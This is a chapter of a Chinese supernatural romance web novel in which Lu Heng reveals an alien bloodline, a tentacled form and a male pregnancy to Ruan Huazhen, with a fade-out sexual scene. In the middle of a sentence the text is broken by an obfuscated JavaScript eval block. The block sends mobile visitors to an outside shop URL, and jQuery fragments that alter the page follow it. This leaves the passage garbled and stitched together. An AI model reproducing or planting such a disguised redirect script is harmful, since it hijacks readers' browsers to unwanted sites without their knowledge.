阮华蓁沉默地跟着陆珩回了家。一路上她没说话,只是攥着那瓶没打开的水,看着窗外路灯一盏一盏往后退。进门后她把包放在玄关柜上,换鞋的动作比平时慢了半拍,似乎害怕那个将来的未知。

    陆珩把炸素丸子放在餐桌上,回头看她:“先吃点东西?”

    “不想吃。”阮华蓁站在客厅中间,手攥着衣角,“你先把怀孕的事说清楚。”

    陆珩看了她两秒,然后走进厨房倒了两杯温水,端出来放在茶几上,自己坐在沙发一侧,把对面的位置留给了她。阮华蓁犹豫了一下,坐了下来。杯子里的水还冒着细小的热气。

    陆珩咳了声,望着拘谨而戒备的阮华蓁柔声道:“当初你的血通过戒指进入我体内之后,我做了一个梦。”

    “梦里有一群‘类人’,也就是上古时候受了天外陨石影响,基因发生变异的人类,他们有特殊的能力,外貌也渐渐出现了变化,像是现在电影里能激发异能的未来人。他们的族群有一种规则:血脉相配且真心相爱的人,如果雄性沾染了雌性的血液,就会在体内生成胚囊;雌性则在亲密关系后凝聚出胎光。如果两个人的血液再度融合,胎光就会进入雄性的胚囊里,成为一个真正的胎儿。随着时代的变迁,这种异变的基因慢慢沉寂,直到与圣物再次契合的‘类人’出现,异变基因才苏醒。”

    阮华蓁听着,沉默了好一会儿。她想起了那条关于《天问》的预言——“异种有核,藏于血脉,千年一醒,以爱为引,以血为媒”。又想起自己左眼那颗忽然消失的红痣。这些碎片在她脑子里转了几圈,像一块拼图正在慢慢合拢。

    “所以你说你怀孕了……其实是因为你体内有了胚囊?”她转着手上的镯子,试探着问。

    “是。”陆珩看着她,“但我还没接触到你的胎光,那个胚囊里是空的。”

    “那我也是……类人?”阮华蓁低头看自己的手,指节干净、皮肤光滑,没有任何异常。

    “你的血脉里有那种力量,但可能很久没有苏醒了。”陆珩顿了顿,“你回想一下,从小到大,是不是有什么异常。”

    阮华蓁想到了在山洞里那次,看到了陨石撞击的画面。在薇薇的聚会上,看到了一些超出常理的幻象。还有之前的种种……难道那不是错觉,是血脉在感应。”

    阮华蓁的手指不自觉地攥紧了膝盖上的布料。

    “那吴霞呢?林远呢?他们也……”

    “他们应该是别的族群的类人后代。”陆珩说,“还有,我的衔尾蛇戒指,你的手镯,都是‘类人’不同族群的圣物。”说着,他把衔尾蛇戒指从食指上摘下来,递到她面前,“你看这个。”

    阮华蓁接过来,凑近看。戒指上蛇眼睛处的宝石在灯光下泛着一种奇怪的、不像水晶也不像金属的光泽。它的切面极细密,有些角度会折射出她从未见过的颜色。

    “这个是二十面石,结构不属于地球。”陆珩说,“我找专家鉴定过,它来自天外。”

    阮华蓁攥着那枚戒指,心跳变快。

    然后陆珩伸手,拿着戒指靠近她手腕上的银镯子。镯子在接触到戒指逸散出的微弱能量波的瞬间,开始微微发热,紧接着发出一阵极轻的嗡鸣,阮华蓁甚至能感觉到镯子里面有奇怪的东西一闪而逝。

    “你的镯子,跟我的戒指,应该是同一种来路。只是经过了很多代传承,它们变成了不同的样子。”陆珩收回戒指,重新戴回手上,“我们的祖先可能是同一个类人族群的不同分支,随着岁月的流逝,这些圣物发生了变化,成了镯子、戒指等等。我们的变异的基因也成了隐形遗传,让我们长成了普通人类的模样,但我们的血脉里还留着那些痕迹。”

    阮华蓁看着自己手腕上那只镯子,银色的表面温润如常,但她的指腹还留着刚才那股热意。

    “那你最近做的那些梦……”

    “我梦到自己变成了怪物。”陆珩的声音沉了下去,“有时候白天也会出现短暂的恍惚,反应过来不记得自己做了什么。我怀疑是戒指的影响,也可能是我体内的类人血脉在某个时刻被唤醒了,我控制不住它。”

    阮华蓁看着他,他坐在沙发对面,完全是一个普通人在坦陈一件让他不安的事。但她知道,他会变成了可怕的带着触手的怪物。

    于是她问道:“那你为什么不把戒指摘掉?”

    “我不敢。”陆珩犹豫了会道,“我梦里有人告诉我,孩子出生之前不能摘。我试过一次……刚取下来,肚子就开始疼。我立刻戴回去了,疼痛才消失。”他看着她,“蓁蓁,那枚胚囊还有你体内的胎光如果出了问题,我们的孩子可能就没有了。”

    阮华蓁低头看着自己的腹部,想起自己包里那盒药,忽然觉得它像一块不该被放进口袋的石头。

    “那如果……我们的血再融合一次,”她慢慢开口,“胎光就会进入你体内吗?”

    陆珩的嘴角微微动了一下,像想翘起又压住了:“理论上是这样。你体内的胎光会离开你,融入我的胚囊里,成为一个完整的胎儿。”

    “那到时候,你就真的怀孕了?”

    “嗯。我就真的‘怀孕’了。”陆珩看着她,目光认真,“蓁蓁,如果你还不放心,我们可以试一次。试一次就知道了。”

    阮华蓁张了张嘴:“……怎么试?”

    “我需要你的血。”陆珩站起来,绕过茶几,走到她面前,低下头看着她。

    “割手指吗?”阮华蓁犹豫道。

    “不是割手指。是要在灵肉相合的时候,让血液自然交融。”

    阮华蓁的脸一下子红了:“你、你说的什么鬼话!”

    “是真的。”陆珩的声音带着认真,“类人的体质和普通人不一样,只有在那种状态下,血液里的能量才会真正流动。你如果不信,可以随时停下来。”

    阮华蓁瞪着他,嘴唇动了好几下,最后憋出一句:“你是不是早就想好了这套说辞来骗我?”

    陆珩坦然道:“每一句都是真的。”

    阮华蓁坐在沙发上,心跳快得像擂鼓。她脑子里两个声音在打架,一个说“他

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17805130|207075||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    在骗你”,另一个说“但他说得通”。

    最后她声音发闷道:“你要是敢骗我,我就……”

    陆珩突然弯腰,将她抱了起来。

    “我永远不会骗你!”他说着,就朝着卧室走去。

    阮华蓁被他放在床上的时候,刚想开口就被他的吻堵住了。他的吻刚开始很轻,快就变得激烈而急切,他的舌尖用力地描摹着她的唇线,像是饥渴的旅人一遍遍紧叩着有清甜泉井的门。

    他身上雨后青草的气息,混着清苦味道沾染了她全身,身体在发热,脑子几乎无法思考,整个卧室里只剩下温热、缠绵。

    在混乱之间,阮华蓁感觉到有东西攀上了她的脚踝。凉的,细的,不止一根,她惊觉是触手,但她没法睁开眼睛确认。她的双眼被陆珩的手盖着,嘴唇被他含着,舌尖被他轻轻勾住,疑惑很快就被陆珩冲撞散了。

    接着,她感觉肚子微痛,有凉凉的东西从她小腹深处升起,顺着血脉往上走,穿过胸口、喉咙、舌尖,然后被另一个温凉的、带着青草气息的唇吸走了。她模模糊糊地感觉到那可能就是陆珩说的胎光。

    后来她就晕了过去,只是晕倒前,她模糊滴看到卧室昏暗的光线里,无数银蓝色半透明的触手从陆珩的后背、肩膀、指尖同时涌出,它们在空中围成一个圈,在空气中欢快地舞动、纠缠、彼此触碰,像一群被放出笼子的小动物在庆祝,庆祝圈中间托着团微微发光的金色光团。

    然后她就彻底失去意识,没有看到陆珩变成了佐斯,低垂着头,眼睛变成了彩色的裂隙,后背裂开一道金色的缝隙,露出一枚半透明的金色精核,表面有几道细长的裂纹,正在一明一灭地跳动着。

    那些触手托着那团金色光团,小心地靠近那些裂隙,然后缓缓地将它推进了精核旁边的位置。

    那团金色光团嵌入了一个金色的腔体里,那腔体像一个小小的囊袋,正好包裹住那枚胎光。

    然后,那道金色的裂隙慢慢合上了。

    佐斯的人类形态重新覆盖了那些银蓝色的触手,祂的眼睛也逐渐恢复了黑色,后背的裂口消失了,整个人看起来和平时一样,只是额头上多了一层细密的汗。

    窗外那几只蹲了一整夜的乌鸦,在佐斯看向它们的时候,它们像被某种力量从内部点燃了一样,从羽毛尖端开始,一点一点地化成黑色的烟雾,连一声叫都没来得及发出。

    第二天早上,阮华蓁醒来的时候,阳光已经从窗帘缝里透了进来。

    她翻了个身,发现陆珩侧躺在她旁边,一只手还搭在她腰上,睡得很沉。她鬼使神差地伸出手,轻轻放在了他小腹的位置。隔着睡衣薄薄的布料,她感觉到一个极其微弱的、像脉搏一样的跳动。

    她沉默了会,小心起身下床,拿着验孕棒去了洗手间。

    这次,验孕棒上没有了两道杠。

    她整个人忍不住抖了抖,验孕棒啪嗒掉在了地上。

    陆珩的睫毛动了一下,然后睁开眼睛,看着从洗手间走出来的她,嘴角弯了一下:“早上好。”